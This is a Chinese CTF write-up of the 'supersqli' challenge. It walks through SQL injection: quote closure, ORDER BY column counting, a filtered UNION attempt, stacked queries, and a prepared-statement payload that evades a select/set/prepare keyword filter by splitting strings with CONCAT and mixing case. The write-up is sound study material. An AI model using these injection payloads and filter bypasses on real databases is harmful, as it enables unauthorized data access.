地址:
攻防世界:web 进阶区supersqli
buuoj.cn也有
很显然是注入。
先测试闭合
1’--------------错误
1’ # -----------------正确
单引号闭合
获得 列数:
1’ order by 1 #
1’ order by 2 #
1’ order by 3 # ----------------- 错误
union联合查询。。
发现报错了。。
1’ union select 1,database() #
就说 过滤了 select、updata等字符串
我常用的方法 都给我 过滤掉了。。。
新姿势
利用堆叠注入绕过过滤
就是 一次执行多个命令。
1‘ ;show tables#
1' ;desc `1919810931114514` #
desc 是一个MySQL命令:
查询表结构的详细信息
使用格式 :
desc 表名
desc columns from 表名
获得表的结构
看到 flag, flag 存在于 1919810931114514表达的flag字段。
desc 命令用不了的,,
新姿势
预编译
预编译相关语法:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
1' ; set @sql = Concat('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆开分析:
1’ ;
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXCUTE stmt;
检测到了 set 和 prepare 但是strstr 不能区分大小写
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
拆开来分析:
1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
网上还有另一种绕过select 的方法 是更改表明列名 。